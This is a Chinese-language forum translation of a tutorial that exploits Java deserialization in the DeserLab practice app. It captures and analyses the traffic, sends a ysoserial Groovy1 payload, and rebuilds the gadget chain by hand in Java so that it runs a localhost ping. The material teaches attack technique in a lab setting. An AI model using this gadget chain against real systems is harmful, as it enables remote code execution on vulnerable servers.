登录

Java反序列化漏洞利用的学习与实践

wsygoogol / 2017-12-21 10:12:00 / 浏览数 3379 技术文章 技术文章 顶(0) 踩(0)

当你在尝试学习东西的时候，一个很好的的定期提示是，阅读与实际练习中你阅读的主题不一样的主题。这就是我们为什么去实践读过的项目是有益的。我们将要深入到现在

1. 利用反序列化漏洞
2. 手动构造我们的payload

要清楚的是，第一步将是使用当前的工具实践序列化漏洞的利用，并解释所采用的方法。第二步放大payload；payload究竟是什么？我们如何手工创建？最终的目的是充分

我会提到整个博客中使用的所有工具，但是至少你需要了解如下内容：

https://github.com/NickstaDB/DeserLab

这就是我们将要利用的bug，选择一个模拟bug的原因是我们可以控制它的所有面，从而更好的理解一个反序列化漏洞的工作原理。

利用Deserlab

首先，确保你阅读了介绍DeserLab和Java反序列化的blog
这篇blog对Java反序列化协议本身的深入分析。通过继续阅读本节，你将掌握DeserLab的用法。本节其余的部分，我们将使用编译的jar文件，请确认从github下载了这些文
通常我处理大多数问题的方法是先了解如何以正确的方式运行，我们需要对DeserLab做如下操作：
运行服务器和客户端
捕获流量
分析流量
使用如下命令运行客户端和服务器：

```
java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666
```

命令的input/output如下所示：

```
java -jar DeserLab.jar -server 127.0.0.1 6666
[+] DeserServer started, listening on 127.0.0.1:6666
[+] Connection accepted from 127.0.0.1:50410
[+] Sending hello...
[+] Hello sent, waiting for hello from client...
[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...
[+] Client name received: testing
[+] Hash request received, hashing: test
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
[+] Done, terminating connection.

java -jar DeserLab.jar -client 127.0.0.1 6666
[+] DeserClient started, connecting to 127.0.0.1:6666
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
testing
[+] Enter a string to hash:
test
[+] Generating hash of "test"...
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
```

以上不是我们真正关心的问题，真正的问题是，怎么实现反序列化部分。要解答这个问题，你可以用wireshark, tcpdump
,tshark捕获6666端口的流量.要使用tcpdump捕获流量，可以执行如下命令：

```
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
```

阅读下面的内容前，用wireshark打开pcap文件。根据Nick的blog，你至少可以识别来回传递的序列化Java对象:

序列化数据的提取：

现在我们指出了序列化数据正在传输的事实，让我们开始了解实际传输的内容。我决定使用这两款实用的工具[SerializationDumper](#)和[jdeserialize](#)，而不是根据blog中提供的信息编写自己的解析器。在我们使用工具之前，我们需要准备数据，所以把pcap包转换成我们可以分析的数

```
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d
```

现在一行缩短了很多，现在它可以工作了。我们把他分解成可理解的块，它所做的就是把pcap数据转换成一行十六进制编码的输出字符串。它做的第一件事是将pcap转换成

```
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,
```

看起来像这样：

```
50432,,6666
6666,,50432
50432,,6666
50432,aced0005,6666
6666,,50432
6666,aced0005,50432
```

在像上面的代码片段中可以看到，在TCP三次握手之间没有数据，因此有,,这部分。之后客户端发送服务端确认的第一个字节，然后服务端返回一些字节等等。命令的第二部

```
| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g
[redacted]
[redacted]```bash
aced00057704f000baaa77020101737200146e622e64657365722e486[...]
```

这是我们可以使用的，因为它是发送和接受的数据的干净的表示。让我们使用这两个工具分析一下数据，首先我们使用SerializationDumper，然后我们将使用jdeserialize。
工具也非常有趣。

序列化数据分析

使用SerializationDumper是非常简单的，因为你可以传递序列化数据的十六进制形式作为第一个参数，如下所示：

```
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
```

输出的内容如下：

```
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0xf000baaa
TC_BLOCKDATA - 0x77
Length - 2 - 0x02
Contents - 0x0101
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - nb.deser.HashRequest - 0x6e622e64657365722e486173685265717565737 4
```

如果我们要使用jdeserialize分析相同的序列化数据，首先要构建jdeserialize，可以使用提供的build.xml文件里的[ant](#)。我选择了手动编译，可以通过以下命令实现：

```
mkdir build
javac -d ./build/ src/*
cd build
jar cvf jdeserialize.jar *
```

经过以上操作我们可以产生一个可以使用的jar文件，你可以用下面的命令测试它，它会显示帮助信息：

```
java -cp jdeserialize.jar org.unsynchronized.jdeserialize
```

由于jdeserialize需要一个文件，我们可以用如下的Python代码转换序列化数据的十六进制表示形式（注意缩短十六进制字符串以进行博客布局）：

```
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
```

我们现在可以通过运行jdeserialize来分析这个文件，文件名作为应该产生的第一个参数：

```
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
read: [blockdata 0x00: 4 bytes]
read: [blockdata 0x00: 2 bytes]
read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
```

```
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output

//// BEGIN class declarations (excluding array classes)
class nb.deser.HashRequest implements java.io.Serializable {
java.lang.String dataToHash;
java.lang.String theHash;
}

//// END class declarations

//// BEGIN instance dump
[instance 0x7e0002: 0x7e0000/nb.deser.HashRequest
field data:
0x7e0000/nb.deser.HashRequest:
dataToHash: r0x7e0003: [String 0x7e0003: "test"]
theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]
]
//// END instance dump
```

我们从序列化数据分析工具的输出中学到的第一件事是它的序列化数据:)。我们学到的第二件事就是，事实上在客户端和服务器之间显式地传送一个对象"nb.deser.HashReq

```
TC_BLOCKDATA - 0x77
Length - 9 - 0x09
Contents - 0x000774657374696e67

'000774657374696e67'.decode('hex')
'\x00\x07testing'
```

这让我们非常了解DeserLab客户端和DeserLab服务器如何相互通信。现在我们来看看如何使用ysoserial来利用。

Deserlab的利用

由于我们通过对pcap和序列化数据的分析，我们对这个通信有一个清晰的了解，我们可以用嵌入ysoserial
paylaod的一些硬编码数据构建我们自己的python脚本。为了保持简单，并且和wireshark流匹配，我决定几乎完全像wireshark流一样实现它，看起来就像：

```
mydeser = deser(myargs.targetip, myargs.targetport)
mydeser.connect()
mydeser.javaserial()
mydeser.protohello()
mydeser.protoversion()
mydeser.clientname()
mydeser.exploit(myargs.payloadfile)
```

你可以在这里找到完整的脚本。就像你可以看到的简单的模式方法是硬编码所有java反序列化数据。你可能想知道为什么mydeser.exploit(myargs.payloadfile)函数出现在r
payload。
在阅读的几篇关于java反序列化的文章（blog结尾处的引用）中，我了解到：大多数漏洞与java反序列化对象有关。
所以据我所知，当我们审查信息交换的时候就有java对象交换。这很容易在序列化分析的过程中发现，因为它包含' TC_OBJECT – 0x73'或者

```
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
[blockdata 0x00: 9 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output
```

我们可以清楚的看到流的最后一部分是 'nb.deser.HashRequest'
对象。读取这个对象的地方也是交换的最后一部分，因此解释了为什么代码最后一部分可以exploit。
DeserLab本身的代码并没有真正包含任何有用的东西，我们可以通过修改序列化漏洞利用它。
这个问题在下一节"手动创建payload"会很明显，现在我们就接受就好了。所以这意味着我们必须寻找可能包含可以帮助我们的代码的其他库。DeserLab中只有一个Groovy
payload；在实际使用中，可能需要自己反编译未知的库，自己开发有用的小工具。
由于知道了利用使用的库，payload的生成就非常简单：

```
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
```

要知道payload如何工作，需要一些方法来检测它。现在ping 到 localhost就足够了，但是在现实世界中你需要更有创意。
现在一切准备就绪，你会认为它只是一个关闭有效载荷的问题？你是对的，但是我们不要忘了，java序列化头交换已经发生。
这意味着我们要把paylaod的前四个字节单独发出去：

```
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin
2017-09-07 22:58:05,401 - INFO - Connecting
2017-09-07 22:58:05,401 - INFO - java serialization handshake
2017-09-07 22:58:05,403 - INFO - protocol specific handshake
2017-09-07 22:58:05,492 - INFO - protocol specific version handshake
2017-09-07 22:58:05,571 - INFO - sending name of connected client
2017-09-07 22:58:05,571 - INFO - exploiting
```

如果一切顺利，你将看到以下内容：

```
sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64
22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64
22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64
```

我们已经成功地利用了DeserLab。接下来两个部分，我们希望能更好地了解我们发送到DeserLab的payload。

手动创建payload

了解我们的payload的最好的方法是自己重建完全相同的payload，是的，这意味着写java代码。但问题是我们从哪里开始？我们可以像我们在看pcap时一样看看序列化pay

```
open('payload.bin','rb').read().encode('hex
```

所以让我们来详细了解一下，在具体情况下，如何运作。当然，在找出这一切后，你发现了一个已经描述它的页面，所以你可以跳过这个部分，阅读这个。本节的其余部分将
通过这些工具放置有效载荷后，在这两种情况下，都会产生很多Java类的很长的输出。要注意的主要类名是输出“sun.reflect.annotation.AnnotationInvocationHandler”的
有一个重要的概念，你需要注意，事实上，当你执行反序列化攻击时，你发送一个对象的“保存”状态说话。这意味着你完全依赖于接收方的行为，更具体地说，你依赖于“保

```
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
```

这通常是我有时花了几个小时调试和阅读我不知道的所有事情的部分，因为如果你尝试编译这个很好，你会学到很多.所以这里是你可以编译的代码段：

```
//regular imports
import java.io.IOException;

//reflection imports
import java.lang.reflect.Constructor;

public class ManualPayloadGenerateBlog{
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessExcept
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
}
}
```

你可以使用以下命令来编译和运行代码，即使它不会执行任何操作：

```
javac ManualPayloadGenerateBlog
java ManualPayloadGenerateBlog
```

当你扩展此代码时，请记住以下内容：
google打印的错误代码
类名应等于文件名
知道有java 帮助
上述代码使初始入口点类可用，构造函数可访问，但是我们需要为构造函数提供哪些参数？大多数例子有以下代码：

```
constructor.newInstance(Override.class, map);
```

我理解的‘map’参数，就是在初始readObject调用期间调用‘entrySet’方法的对象。我不明白第一个参数的内部工作原理，主要的一点是在readObject方法内部进行检查，以
现在我们来到有趣的部分，从‘好的有道理’到‘这是如何工作的’。要理解，重要的是要意识到第二个参数是一个Java代理对象，而不是一个简单的Java映射对象。这是什么意思

```
Dynamic proxies allow one single class with one single method to service multiple method calls to arbitrary classes with an ar
```

我理解的是，它是一个 Java map 对象，然后将所有调用原始的Map对象方法路由到另一个类的单一方法。让我们看看我们现在所了解的：

这意味着我们可以尝试用这样一个Map对象来扩展我们的源代码，例如：

```
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unkno
```

注意我们仍然需要适应的
invocationhandler，但我们没有。这是Groovy最终要适应的部分，因为直到现在我们仍然在常规Java类的领域。Groovy适合的原因是因为它有一个InvocationHandler。

```
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closur
```

就像你可以在上面的代码中看到的，我们现在终于有了invocationhandler，它就是ConvertedClosure对象。你可以通过反编译Groovy库来确认这一点，当你看到Convert

```
public abstract class ConversionHandler
implements InvocationHandler, Serializable
```

实现InvocationHandler的事实解释了为什么我们可以在Proxy对象中使用它。然而，我不明白的一件事是，Groovy payload
是从Map代理调用到实际代码执行的。您可以使用反编译器来查看Groovy库，但是通常我发现可以使用谷歌查询补充代码阅读来了解它。一个挑战

```
groovy execute shell command
```

上面的查询可能会让你在各种各样的页面上找到答案。这实质上告诉我们，显然String对象有一个额外的方法是“execute”。我经常使用上述查询来处理我不熟悉的环境，因

完整的代码在这里。编译，执行：

```
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
```

当我们使用python exploit开发它时，它应该具有与ysoserial payload完全相同的结果。令我吃惊的是，payload甚至有相同的哈希：

```
sha256sum payload_ping_localhost.bin payload_manual.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_ping_localhost.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_manual.bin
```

感谢您抽出时间阅读本文，更重要的是，我希望它可以帮助您利用Java反序列化漏洞以及更好地了解它们。
参考链接：

https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.youtube.com/watch?v=VviY3O-euVQ
http://wouter.coekaerts.be/2015/annotationinvocationhandler
http://www.baeldung.com/java-dynamic-proxies
https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy
https://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful

上一篇：使用TensorFlow自动识别验... 下一篇：Java序列化和反序列化

1. 1 条回复

wsygoogol 2017-12-21 12:49:15

https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
之前翻译的

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板